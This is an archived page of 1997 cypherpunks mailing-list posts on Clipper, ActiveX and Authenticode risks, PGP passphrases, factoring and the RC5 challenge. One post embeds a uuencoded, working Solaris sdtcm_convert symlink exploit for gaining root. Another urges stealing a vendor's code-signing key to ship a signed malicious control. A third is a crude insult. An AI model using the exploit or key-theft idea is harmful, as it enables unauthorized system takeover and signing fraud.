- cypherpunks-legacy - lists.cpunks.org

Clipper article in Cu Digest, #9.10, Wed 20 Feb 97
by Bill Stewart 17 Dec '03

17 Dec '03

CUD is available at URL: http://www.soci.niu.edu/~cudigest/ Here are some excerpts: >>From -- Fight Censorship <FIGHT-CENSORSHIP(a)vorlon.mit.edu> > Federal Computer Week > DOD sinks the Clipper .. > The Defense Department plans to remove the government key escrow > software from its Fortezza cards used on the Defense Message System, a > move that signals the death of the Clinton administration's > controversial Clipper initiative and one that should encourage > civilian use of the cryptographic cards. > > A DOD spokeswoman confirmed the decision to remove the key escrow but > would not provide further details. > > The DOD decision, which will be formalized in a policy expected out > shortly, is in response to the administration's decision last October > to support key recovery technology instead of the controversial > Clipper initiative. Each agency must decide how it will implement the > government's policy internally. A technical advisory committee will > develop standards for a federal key management infrastructure. ... > DOD has for years pressured civilian agencies to use government escrow > technology, but the agencies were wary of the law enforcement access. > Stephen Walker, president and chief executive officer of Trusted > Information Systems Inc. (TIS), said the policy will remove the last > remnants of the Clipper and serve as an official endorsement of key > recovery technology. > > "This is the end of Clipper,'' Walker said. "This is a very positive > move because it puts the Defense Department in a posture of using > commercial products instead of Defense Department products. If the > Defense Department is moving away from key escrow, no one else is > going to feel obligated to have key escrow either." .... > Sources said DOD's move was targeted to increase the appeal of the > Fortezza card to users outside DOD. > > Bruce McConnell, chief of information policy at the Office of > Management and Budget, said the move would make Fortezza cards more > attractive, but he cited different reasons. "It does encourage people > to use it because it moves toward the commercial approach that's being > taken," he said. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts(a)ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.)

1 1

RRE: Risks on digital signatures, several other topics
by E. Allen Smith 17 Dec '03

17 Dec '03

From: IN%"rre(a)weber.ucsd.edu" 21-FEB-1997 23:42:52.06 From: Phil Agre <pagre(a)weber.ucsd.edu> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= This message was forwarded through the Red Rock Eater News Service (RRE). Send any replies to the original author, listed in the From: field below. You are welcome to send the message along to others but please do not use the "redirect" command. For information on RRE, including instructions for (un)subscribing, send an empty message to rre-help(a)weber.ucsd.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Date: Fri, 21 Feb 1997 08:58:34 -0800 (PST) From: risks(a)csl.sri.com Subject: RISKS DIGEST 18.83 RISKS-LIST: Risks-Forum Digest Friday 21 February 1997 Volume 18 : Issue 83 ---------------------------------------------------------------------- Date: Wed, 19 Feb 1997 17:12:43 -0500 From: Edward Felten <felten(a)CS.Princeton.EDU> Subject: Myths about digital signatures There has been a lot of public discussion lately about digital signatures on mobile code. Several myths permeate this discussion. I'd like to puncture three of them. * Myth 1: Digital signatures let you know who wrote a program, or where it came from. Reality: Anybody can remove the author's signature or add their own signature. At best, a signature tells you that the signer endorsed the program recently. Endorsement is more useful than authorship anyway; most people care more about whether their corporate MIS department has endorsed a program than about who wrote the program. * Myth 2: If X has signed a program, and I trust X, then it is safe for me to download the program. Reality: There have been plenty of incidents of reputable and well-meaning organizations spreading viruses or serving as the base for security attacks. Before accepting a download from X, it's not enough to ask "Do I trust X?" One must also ask questions like "How carefully has X managed his cryptographic keys?" and "What is the probability that X's security has been penetrated?" * Myth 3: Digital signatures provide accountability; if a program signed by X is malicious, the victim can sue X. Reality: Suppose I accept a download signed by X. A few seconds later there is some mysterious network traffic and then my disk gets wiped clean. X could be the culprit. Or X could be innocent --- that code I downloaded from Y three days ago could have waited a while before detonating. Or somebody could have exploited a bug somewhere else in my system. I have *no evidence* to distinguish these cases --- all the evidence disappeared when my disk was erased. (We can assume the attacker is smart enough to remove the hostile code from his site immediately after the attack.) If the attacker doesn't erase my disk, I can't trust the apparent evidence anyway. After all, the attacker had free run of my system and could have planted whatever "evidence" he liked. The evidence, whether real or not, will collapse in the first cross-examination. Signatures can provide accountability, but only with much more rigorous logging and auditing than today's consumer software provides. ------------------------------ Date: Mon, 17 Feb 1997 08:21:44 -0500 From: amesr(a)interlog.com (Robert Ames) Subject: Forgeries and Dejanews It seems that an effective way to attack an individual is to forge a Usenet article purportedly from that person, and to include in the article "admissions" or bigotted statements which would reflect poorly on his character. The forged article is then collected by Dejanews and similar organizations and archived. It becomes part of the Dejanews "profile" on the supposed author. I was one of the victims of a series of forgeries in August and September, 1996. The perpetrator originated at ixc.net in New York, and then telnetted to news.uu.net and other open news servers to post as the victim. Although I cancelled the forged article and posted a PGP-signed repudiation, the article was still archived at Dejanews, and was recently used by someone to "prove" that I had made statements which put me in a bad light. Since this is a general problem which can impact on anyone, I feel it needs to be discussed. Perhaps news archivers should be under the same scrutiny as credit reporting agencies. ------------------------------ Date: Wed, 19 Feb 1997 19:58:39 -0500 From: Edward Felten <felten(a)CS.Princeton.EDU> Subject: Mobile code security mailing list We are starting a moderated mailing list to discuss security issues relating to mobile code systems like Java, ActiveX, and JavaScript. To join, send e-mail to majordomo(a)cs.princeton.edu; your message body should contain the single line "subscribe secure-mobile-code" or if your desired TO: address is different from your FROM: address, "subscribe secure-mobile-code" (append your TO: address here) ------------------------------ Date: Wed, 19 Feb 1997 13:33:51 -0500 From: Paul Robinson <foryou(a)erols.com> Subject: ActiveX basic problem As it has been pointed out in *Dr. Dobbs' Journal*, an ActiveX control is no less than a Windows Dynamic Link Library (DLL) that has all the power and capability of any other DLL loaded on a Windows system, i.e. any damn thing it wants to do. This alone should ring the death knell on use of ActiveX for anything other than perhaps on an intranet behind a firewall that does not allow any incoming traffic, and maybe not even then. Paul Robinson, Evergreen Software ------------------------------ Date: Fri, 21 Feb 1997 16:06:20 +0000 (GMT) From: Lloyd Wood <L.Wood(a)surrey.ac.uk> Subject: MS on the CCC ActiveX virus (fwd) Here is Microsoft's official line on the security of ActiveX. This leaves a very nasty taste in my mouth. The onus on the users to be responsible with their tools, as usual, rather than on the developers to create safer tools. Lloyd <URL:http://www.sat-net.com/L.Wood/><L.Wood(a)ieee.org>+44-1483-300800x3435 ---------- Forwarded message ---------- Date: Fri, 21 Feb 1997 10:31:18 -0500 >From: glen mccready <glen(a)qnx.com> Subject: MS on the CCC ActiveX virus Forwarded-by: garman(a)phs.k12.ar.us (Jason Garman) >From: Site Builder Network <sbn(a)MICROSOFT.COM> Subject: SBN Wire: News Flash Dear Site Builder Network Member, Tomorrow, Microsoft will be posting the attached letter to our web site, and sending it out to the Internet Explorer community. In it, Brad Silverberg addresses head-on the recent security questions facing the industry regarding malicious, unsigned controls. We know this issue is important to you and your customers, and wanted to give you a heads-up. For more information, check out http://www.microsoft.com/security Tod Nielsen, General Manager, Developer Relations Group = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = >From the Office of Brad Silverberg Senior Vice President Microsoft Corporation 1 Microsoft Way Redmond, WA 98052 Dear Internet Users Everywhere: You may have heard reports about a malicious software program created and demonstrated recently by the Chaos Computer Club (CCC) in Hamburg, Germany. I want to personally assure you that Microsoft(R) Internet Explorer 3.0 has the appropriate safeguards to protect against this type of threat. By using its default security level (High) that comes pre-set, Internet Explorer 3.0 will not download and run any "unsigned" control such as the one from the CCC. The CCC demonstrated its malicious executable code running on Microsoft Internet Explorer 3.0, though they could just as easily have demonstrated a similar attack on any other browser. While it is unfortunate that hackers have created this harmful program, it does point out the need for users to act cautiously and responsibly on the Internet, just as they do in the physical world. Malicious code can be written and disguised in many ways - within application macros, Java(tm) applets, ActiveX(tm) controls, Navigator plug-ins, Macintosh(R) applications and more. For that reason, with Internet Explorer 3.0, Microsoft has initiated efforts to protect users against these threats. Microsoft Authenticode(tm) in Internet Explorer 3.0 is the only commercial technology in use today that identifies who published executable code you might download from the Internet, and verifies that it hasn't been altered since publication. If users choose to change the default security level from High to Medium, they still have the opportunity to protect themselves from unsigned code. At a Medium setting, prior to downloading and running executable software on your computer, Microsoft Internet Explorer presents you with a dialog either displaying the publisher's certificate, or informing you that an "unsigned control" can be run on your machine. At that point, in either case, you are in control and can decide how to proceed. As you know, Microsoft is committed to giving users a rich computing experience while providing appropriate safeguards. Most useful and productive applications need a wide range of system services, and would be seriously limited in functionality without access to these services. This means that many Java applications will have to go "outside the sandbox" to provide users with rich functionality. By signing code, a developer can take advantage of these rich services while giving users the authentication and integrity safeguards they need. Other firms such as Sun and Netscape are following our lead, and have announced that they will also provide code signing for Java applets. Microsoft will also be providing an enhanced Java security model in the future, giving users and developers flexible levels of functionality and security. Microsoft takes the threat of malicious code very seriously. It is a problem that affects everyone in our industry. This issue is not tied to any specific vendor or group of people. All of us that use computers for work, education, or just plain fun need to be aware of potential risks and use the precautions that can insure we all get the most out of our computers. For this reason, we are committed to providing great safeguards against these types of threats in Internet Explorer. We expect hackers and virus writers to get increasingly sophisticated but we pledge we'll continue to keep you and us one step ahead of them. Brad Silverberg P.s. Be sure to check out our Web Executable Security Advisor at http://www.microsoft.com/security ------------------------------ Date: Thu, 20 Feb 1997 10:43:36 -0800 From: Travis Winfrey <travis(a)lombard.com> Subject: Microsoft "defends" ActiveX The site http://www.news.com/News/Item/0,4,8096,00.html?latest discusses the MS response to the activeX/quicken bug where downloaded activeX applets can actually transfer real money out of your bank account (bug not applicable in America). They point to this URL: http://www.microsoft.com/security/ which has this instant-classic paragraph, emphasis not in the original: While the Java sandbox enforces a high degree of security, it does not let users download and run exciting multimedia games or other full-featured programs on their computers. <EM> As a result, users may want to download code that has full access to their computers' resources. </EM> ------------------------------ Date: 15 Aug 1996 (LAST-MODIFIED) From: RISKS-request(a)csl.sri.com Subject: Abridged info on RISKS (comp.risks) The RISKS Forum is a MODERATED digest. Its Usenet equivalent is comp.risks. => SUBSCRIPTIONS: PLEASE read RISKS as a newsgroup (comp.risks or equivalent) if possible and convenient for you. Or use Bitnet LISTSERV. Alternatively, (via majordomo) DIRECT REQUESTS to <risks-request(a)csl.sri.com> with one-line, SUBSCRIBE (or UNSUBSCRIBE) [with net address if different from FROM:] or INFO [for unabridged version of RISKS information] => The INFO file (submissions, default disclaimers, archive sites, .mil/.uk subscribers, copyright policy, PRIVACY digests, etc.) is also obtainable from http://www.CSL.sri.com/risksinfo.html ftp://www.CSL.sri.com/pub/risks.info The full info file will appear now and then in future issues. *** All contributors are assumed to have read the full info file for guidelines. *** => SUBMISSIONS: to risks(a)CSL.sri.com with meaningful SUBJECT: line. => ARCHIVES are available: ftp://ftp.sri.com/risks or ftp ftp.sri.com<CR>login anonymous<CR>[YourNetAddress]<CR>cd risks or http://catless.ncl.ac.uk/Risks/VL.IS.html [i.e., VoLume, ISsue]. The ftp.sri.com site risks directory also contains the most recent PostScript copy of PGN's comprehensive historical summary of one liners: get illustrative.PS ------------------------------ End of RISKS-FORUM Digest 18.83 ************************ Standard Risks reuse disclaimer: Reused without explicit authorization under blanket permission granted for all Risks-Forum Digest materials. The author(s), the RISKS moderator, and the ACM have no connection with this reuse.

1 0

Myths of Digital Signatures: RISKS article by Ed Felten
by Bill Stewart 17 Dec '03

17 Dec '03

Ed Felten has an article in RISKS Digest, Volume 18, Issue 83, http://catless.ncl.ac.uk/Risks/18.83.html called "Myths about digital signatures". It's focused on the "Microsoft Signed This ActiveX Applet So It Must Be Safe" delusion. Nothing we haven't heard before, but a good summary. He's also announcing a mailing list on security of Java/ActiveX/etc. =================================================== Mobile code security mailing list Edward Felten <felten(a)CS.Princeton.EDU> Wed, 19 Feb 1997 19:58:39 -0500 We are starting a moderated mailing list to discuss security issues relating to mobile code systems like Java, ActiveX, and JavaScript. To join, send e-mail to majordomo(a)cs.princeton.edu; your message body should contain the single line "subscribe secure-mobile-code" or if your desired TO: address is different from your FROM: address, "subscribe secure-mobile-code" (append your TO: address here) ================================================================== # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts(a)ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.)

1 0

Re: Forgery detection
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

Timmy `C' Maya's 16Kb brain's single convolution is directly wired to his rectum for input and his T1 mouth for output. That's 16K bits, not bytes. Anal intercourse has caused extensive brain damage. o-:^>___? Timmy `C' Maya `~~c--^c'

1 0

Re: IDEA/Strength?
by E. Allen Smith 17 Dec '03

17 Dec '03

From: IN%"stewarts(a)ix.netcom.com" "Bill Stewart" 22-FEB-1997 03:05:51.28 >At 04:21 PM 2/21/97 -0500, Alec wrote: >>Is the strength, or lack thereof, of conventional PGP encryption >>proportional to the length of the conventional password? >Sure, up to 128 bits of entropy. Go check out pgpcrack. Another way to put it is that the length places a _maximum_ on the entropy; no more than 7 bits (unless PGP's interface can deal with control/etcetera keys) minus a fractional bit (for characters like delete) per character. Of course, simply expanding a passphrase of "a" to "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" won't do you much good... but most non-pathological passphrases will expand in entropy as they expand in length. (There is the consideration, however, that a lengthy passphrase may need to be in alphabetical characters, as opposed to alphanumeric, due to human memory limitations. If you didn't/don't have that, then even a completely random over-19-character long passphrase (enough to be more than 128 effective bits going in) could be of assistance; greater length makes it more likely that someone observing you will miss enough of the passphrase to make a search impractical.) -Allen

2 1

No Subject
by stewarts＠ix.netcom.com 17 Dec '03

17 Dec '03

CC: From: stewarts(a)ix.netcom.com (Bill Stewart) Subject: 167-digit number factored X-Mailer: Mozilla/2.1 (compatible; Opera/2.1; Windows 95) The article's gotten a bit garbled through replies, but this was on sci.crypt. > In article <phrE5EDtw.D1w(a)netcom.com> phr(a)netcom.com (Paul Rubin) writes: > >In article <5dna0l$nrl(a)arthur.cs.purdue.edu>, > >Samuel S Wagstaff <ssw(a)cs.purdue.edu> wrote: > > >>On Tuesday, 4 February 1997, we completed the factorization of a > >>composite number of 167 digits, one of the `More Wanted' factorizations > >>of the Cunningham Project. It is: > >> > >>3,349- = (3^349 - 1)/2 = c167 = p80 * p87 > >> > > >Congratulations.... was this factorization much easier than > >factoring a general 167 (or 160) digit number? > > Yes, this c167 is much easier. I just finished the 136-digit number > > n = (2^454 - 2^341 + 2^227 - 2^114 + 1)/13 > > (a divisor of (2^1362 + 1)/(2^454 + 1)). The sieving took > 85 machine-days (about two weeknights) on a network of 60 SGI machines, > and took advantage of n's representation as a polynomial in 2^113. > Last year's factorization of RSA130 (130 digits) took 6 calendar-months > to sieve, at multiple sites. By the way, the new factorization is > n = p49 * p88, where > > p49 = 2393102462756185953833037662530180237989024296581 > p88 = 14952485345141425227257136559467580083134337 \ > 51379919088823926933276083374444560702796609 > > The c167 factorization of (3^349 - 1)/2 was about as hard > as doing a general number around 115-120 digits. > -- > Peter L. Montgomery pmontgom(a)cwi.nl San Rafael, California > > A mathematician whose age has doubled since he last drove an automobile. >

1 0

Re: Photos Digitized and Theyre Done Dirt Cheap!
by Evan Platt (IN3501) 17 Dec '03

17 Dec '03

Attn: you fell victim to this persons abuse of Internet E-Mail. You can help stop him by doing two things: 1. do NOT use his service. Find somewhere else to get photos scanned. 2. Forward a COMPLETE copy of his message with all headers intact to postmaster@aol.com,abuse@aol.com,tosadvisor@aol.com,stevecase@aol.com,root@a ol.com This will make sure that AOL knows you do NOT want to receive this persons crap, and they will shut down his account. Thank you for listening, and help stop SPAM! At 01:26 PM 2/21/97 -0500, Bulkyman(a)aol.com wrote: >Photos Digitized and Theyre Done Dirt Cheap!

1 0

Security hole in Solaris 2.5 (sdtcm_convert) + exploit
by Cristian SCHIPOR 17 Dec '03

17 Dec '03

Sat Feb 22 15:25:48 EET 1997 Romania Another hole in Solaris I have found a security hole in sdtcm_convert on Solaris 2.5.1. sdtcm_convert - calendar data conversion utility - allows any user to change the owner for any file (or directory) from the system or gain root access. The exploit is very simple. Change the permision mode of your calendar file (callog.YOU) from /var/spool/calendar directory (usual r--rw----) and run sdtcm_convert. sdtcm_convert 'll observe the change and 'll want to correct it (it 'll ask you first). You have only to delete the callog file and make a symbolic link to a target file and your calendar file and said to sdtcm_convert 'y' (yes). sdtcm_convert 'll make you the owner of target file ... A simple way to correct this is to get out suid_exec bit from sdtcm_convert I made an exploit, so you have to extract the text, uudecode it, and exec a 'tar -xf exploit.tar'. You'll get the files in exploit_dir. Cristian Schipor - Computer Science Faculty - Bucharest - Romania Email: skipo(a)math.pub.ro skipo(a)sundy.cs.pub.ro skipo(a)ns.ima.ro Phone: (401) 410.60.88 begin 600 exploit.tar M97AP;&]I=%]D:7(O4D5!1$U% M M # Q,# V,# ,# P,#0V, P,# P-#4W # P,# P,# Q,#(Q M # V,S S-3<Q,3<W # P,30U-#( , M M !U<W1A<@ P,'-K:7!O M <W1U9#, M P,# P,#0P # P,# R,#< M M M M J2&]W('1O(&UA:V4@82!S:6UP;&4@8V%L;&]G M(&9I;&4J"@I)9B!Y;W4@9&]N="!H879E(&$@+W9A<B]S<&]O;"]C86QE;F1A M<B]C86QL;V<N64]5(&5D:70@8V%L;&]G+F5X86UP;&4L"G)E<&QA8V4@)W-K M:7!O)R!W:71H('EO=7(@=7-E<B!N86UE(&%N9" G<W5N9'DN8W,N<'5B+G)O M)R!W:71H('EO=7(*;6%C:&EN92!N86UE("AT<GD@9FER<W0@=&AE('-H;W)T M(&YA;64L(&5X86UP;&4Z('-U;F1Y(&%N9"!I9B!Y;W4G;&P@:&%V90IT<F]U M8FQE<VAO=&EN9W,@=')Y('1H92!L;VYG(&YA;64L(&5X86UP;&4@<W5N9'DN M8W,N<'5B+G)O*2X@069T97(@=&AA= IC;W!Y('1H92!N97<@8V%L;&]G(&9I M;&4@:6X@+W9A<B]S<&]O;"]C86QE;F1A<B]C86QL;V<N64]54E]54T527TY! M344L(')U;@IO;F-E('-D=&-M7V-O;G9E<G0@=VET:"!Y;W5R('5S97(@;F%M M92 H97AA;7!L92!S9'1C;5]C;VYV97)T('-K:7!O*0IA;F0@=V%I="!F;W(@ M8V]R<F5C=&EO;G,N($YO=R!Y;W4@87)E(')E861Y('1O(')U;B!T:&4@97AP M;&]I="X* M M M M M M M M M M M 97AP;&]I=%]D:7(O8V%L;&]G+F5X86UP;&4 M M # Q,# W,# ,# P,#0V, P,# P-#4W # P,# P M,# Q,S(P # V,S S-38W-#0T # P,38U,#4 , M M !U<W1A<@ P M,'-K:7!O <W1U9#, M P,# P,#0P # P,# R,#< M M M M !697)S:6]N.B T"BHJ*BH@<W1A<G0@ M;V8@;&]G(&]N($9R:2!$96,@(#8@,30Z,#<Z-#,@,3DY-B J*BHJ"@HH8V%L M96YD87)A='1R:6)U=&5S("@B+2\O6$%024$O0U-!+T-!3$%45%(O+TY/3E-' M34P@06-C97-S($QI<W0O+T5.(BPB,3 Z86-C97-S7VQI<W0B+")W;W)L9#HR M(BD**"(M+R]805!)02]#4T$O0T%,05144B\O3D].4T=-3"!#86QE;F1A<B!. M86UE+R]%3B(L(C4Z<W1R:6YG(BPB<VMI<&] <W5N9'DN8W,N<'5B+G)O(BD* M*"(M+R]805!)02]#4T$O0T%,05144B\O3D].4T=-3"!#86QE;F1A<B!/=VYE M<B\O14XB+"(V.G5S97(B+")S:VEP;T!S=6YD>2YC<RYP=6(N<F\B*0HH(BTO M+UA!4$E!+T-302]#04Q!5%12+R].3TY31TU,($-H87)A8W1E<B!3970O+T5. M(BPB-3IS=')I;F<B+")#+DE33RTX.#4Y+3$B*0HH(BTO+UA!4$E!+T-302]# M04Q!5%12+R].3TY31TU,($1A=&4@0W)E871E9"\O14XB+"(W.F1A=&5?=&EM M92(L(C$Y.38Q,C V5#$R,#<T,UHB*0HH(BTO+UA!4$E!+T-302]#04Q!5%12 M+R].3TY31TU,(%!R;V1U8W0@261E;G1I9FEE<B\O14XB+"(U.G-T<FEN9R(L M(BTO+T14+R].3TY31TU,($-A;&5N9&%R(%!R;V1U8W0@5F5R<VEO;B Q+R]% M3B(I"B@B+2\O6$%024$O0U-!+T-!3$%45%(O+TY/3E-'34P@5F5R<VEO;B\O M14XB+"(U.G-T<FEN9R(L(BTO+UA!4$E!+T-302]615)324].,2].3TY31TU, M($-302!697)S:6]N(#$O+T5.(BD**0H M M M M M M M 97AP;&]I=%]D:7(O;W)A;F=E+F, M M # Q,# V,# ,# P,#0V, P,# P-#4W M # P,# P,# Q,C0V # V,S S-38W,S(R # P,34S,#< , M M !U M<W1A<@ P,'-K:7!O <W1U9#, M P,# P,#0P # P,# R,#< M M M M C:6YC;'5D92 \<W1D:6\N M:#X*(VEN8VQU9&4@/'-Y<R]T>7!E<RYH/@HC:6YC;'5D92 \<WES+W-T870N M:#X*(VEN8VQU9&4@/'5N:7-T9"YH/@H*(V1E9FEN92!P871H(" B+W9A<B]S M<&]O;"]C86QE;F1A<B]C86QL;V<N(@H*"G9O:60@;6%I;BAI;G0@87)G8RP@ M8VAA<B J87)G=EM=*0I["FEN="!P:60L9FEL961E<ULR73L*1DE,12 J9CL* M<W1R=6-T('-T870@:6YF;SL*;&]N9R!I.PIC:&%R('1A<F=E=%LQ,CA=+'-H M:69T6S$R.%T["@D*"7-T<F-P>2AT87)G970L87)G=ELQ72D["@ES=')C<'DH M<VAI9G0L<&%T:"D["@ES=')C870H<VAI9G0L87)G=ELR72D["@EI9BAP:7!E M*&9I;&5D97,I*0H)>PH)"7!E<G)O<B@B8V%N="!C<F%T92!P:7!E7&XB*3L* M"0EE>&ET*# I.PH)?0D*"6EF*'!I9#UF;W)K*"D]/3 I"@E["@D)9F]R*&D] M,#MI/#,P,# P,# P.VDK*RD["@D)=6YL:6YK*'-H:69T*3L*"0ES>6UL:6YK M*'1A<F=E="QS:&EF="D["@D)=W)I=&4H9FEL961E<ULQ72PB>5QN(BQS:7IE M;V8H(GE<;B(I*3L*"7T)"0D)"@EE;'-E( H)>PH)"6-L;W-E*# I.PH)"61U M<"AF:6QE9&5S6S!=*3L*"0ES>7-T96TH(FQE;6]N(BD["@D)<W1A="AT87)G M970L)FEN9F\I.PH)"6EF*&EN9F\N<W1?=6ED/3UG971U:60H*2D@<')I;G1F M*")#3TQ,($D@9&ED($E4("$A(5QN(BD["@E]"@D*?0H M M M M M M M M 97AP;&]I=%]D:7(O=&AE9FER<W0 M M # Q,# W,# ,# P,#0V, P M,# P-#4W # P,# P,# P-S0W # V,S S-38W,S,R # P,34T-3( , M M M !U<W1A<@ P,'-K:7!O M<W1U9#, P,# P,#0P # P,# R M,#< M M M O8FEN+V5C:&\@ M(F]R86YG92YC("T^(&]R86YG92(*9V-C("UO(&]R86YG92!O<F%N9V4N8PH* M+W5S<B]U8V(O=VAO86UI(#X@=V@*<F5A9"!54T52(#P@+B]W: H*(W=A=&-H M:6YG(&9O<B!C86QL;V<@9FEL92!I9B!I="!I<VYT('=I;&P@<W1O< II9B A M('1E<W0@+68@+W9A<B]S<&]O;"]C86QE;F1A<B]C86QL;V<N)%5315([('1H M96X*(" O8FEN+V5C:&\@(DD@8V%N="!F;W5N9"!C86QL;V<@9FEL92X@4&QE M87-E(')E860@4D5!1$U%(&%N9"!C<F5A=&4@:70B"B @97AI=#L*9FD*"B]B M:6XO96-H;R B=VAA="=S('1H92!T87)G970@/S\_(@IR96%D(%1!4D=%5 H* M+V)I;B]E8VAO("]B:6XO8VAM;V0@,# P("]V87(O<W!O;VPO8V%L96YD87(O M8V%L;&]G+B154T52(#YL96UO;@HO8FEN+V5C:&\@+W5S<B]D="]B:6XO<V1T M8VU?8V]N=F5R=" D55-%4B ^/FQE;6]N"B]B:6XO8VAM;V0@-S P("XO;&5M M;VX*"BXO;W)A;F=E("1405)'150@)%5315(* M M M M M M M M M M M M M M M M M M M M M M I end

3 2

Re: DES Crack Hype
by earle＠zero.genx.net 17 Dec '03

17 Dec '03

# > > > For instance, New Media Laboratories provides no source code for their # > > > software, nor any type of documentation to track what it 'should' be # > > > doing vs. what it 'is' doing. # > > # > > I had no difficulty obtaining source from them for benchmarking/porting # > > reasons. I do freely admit that there is a lack of documentation. Let's clear a few things up right off the bat here. This whole thing was done strictly out of complete boredom with the participation of a small group of people, mainly online friends. Needless to say it has grown at a seemingly exponential rate, putting us somewhere in the ballpark of having a "real shot" at this. Source code was initially released on a very early version of the RC5-client, after a half dozen or so rogue clients started up, we decided to quickly strop distributing source code until the whole client->server protocol could be devised "the right way".. Source code for "current" client will be released as well, hopefully very soon now. Well documentation for what it is doing? It's uh, doing some math or something; that's retarded. Documentation for running? Well, I suppose anyone unfamiliar with normal ``man(1)'' style syntaxing would find it cryptic at best, but it should be fairly straight forward. Now that there actually seems to be extensive participation in this, we're doing a FAQ on the website. Hopefully this will alleviate alot of this. # > I have had no difficulty in obtaining silence in response to my # > email regarding New Media Labaoratories and their software. # > When I received your post, I was on the verge of deciding that their # > silence was an indication that they wanted me to consider myself their # > official spokesperson. # > That would have been fun. Generally I dont waste my time dealing with such ludicrous issues. You people should all realize, that no matter what you do, no matter how you do it, as soon as it hit's mailing lists or newsgroups, someone has opinions about it, as well as "a better way of doing it". Well whatever, it's all just a monumental waste of bandwidth. # > # > > > It reports results which are obviously # > > > in error, and there is no way to divine the source or cause of those # > > > false results. If you are speaking of the website statistics, well I'm not even going to get involved in this. I'm working on "doing it right" as time permits. I didnt have much to do with the one that is up there now. # > # > However, I am referring to the stats that I get on my own machine after # > the keys have been 'checked'. I had one message telling me, "Keyspace # > exhausted in 243.12 minutes." The only problem is that it actually took # > slightly under an hour. If it is wrong about the time, then how can I # > be expected to believe that it is right about the keys being checked? This is due to the fact that you have a bum client :) New clients, (all compiles are being verified by me before put online) are becomming available now. Proxies for all of the platforms we're supporting will be available too; caching proxies underway as well. The vast majority of the initial clients were not ported by my me. # > > A second generation of key serv statistics reporting with wiz-bang # > > graphics and other cool crap can be expected by the end of this # > > weekend. Uh, terrific. # > # > This is precisely my point. None of the people that are running these # > programs on our machines have any way of knowing just exactly what is # > taking place here. # > <crap deleted> I'm getting more and more distressed about this utter waste of bandwidth the further down I get here. I will put specifics on how the server assigns keyspace onto the website in due time. Frankly, I do not expect, or care, to be the one to break this key. I in no way, shape or form, give unfair advantages to any of the participants. Keys are assigned, they are not ranked and assigned based on any preference whatsoever. This is pretty ridiculous. # > # > I was impressed with the genx homepage and the number of platforms to # > which the software had been ported. The software itself was ported to # > Win95 with at least enough competence to do 'something', as opposed to # > requiring me to reinvent the wheel in order to get it to run. # > But I still don't know what it does, in fact, do, or if I am just # > pissing in the wind by running it. (Or if it was written by the same # > guys who killed Kennedy). # > # > So, although I appreciate your efforts, until I find a basis for # > deciding otherwise, I will be using the Orange Crayola to connect # > you on my chart to the bad-guys on the X Files. The client allows you to participate in the RC5-56 contest (at no unfair advantage or disadvantage). That is the bottom line. If you wish to participate, we'd greatly welcome any instructions you can spare. If you don't, that's fine too, best of luck. earle.

2 2

Re: It is time to break Authenticode
by jim bell 17 Dec '03

17 Dec '03

At 08:09 PM 2/23/97 -0500, lucifer Anonymous Remailer wrote: >Microsoft's recent arrogant and irresponsible reply to the Chaos >Computer Club hack on ActiveX requires response. An effective response >would be to steal the key of a major code signer and produce a signed, >malicious ActiveX control. Such an attack would demonstrate the >serious problems of Microsoft's security philosophy. > [trim] > >The best avenue of attack is stealing the secret key of a respected >code signer. The target should be one of the major players, if not >Microsoft itself. Someone is sloppy to store their secret key on a >machine hooked to the Internet. Stealing it would be a very nice >challenge. It should be doable. I can think of an easier way. If the goal is simply to demonstrate that the system can be broken, how about offering a not-insignificant amount of money to anonymous person who manages to successfully get code signed? No exposure is necessary, just the signature done once. Jim Bell jimbell(a)pacifier.com

1 0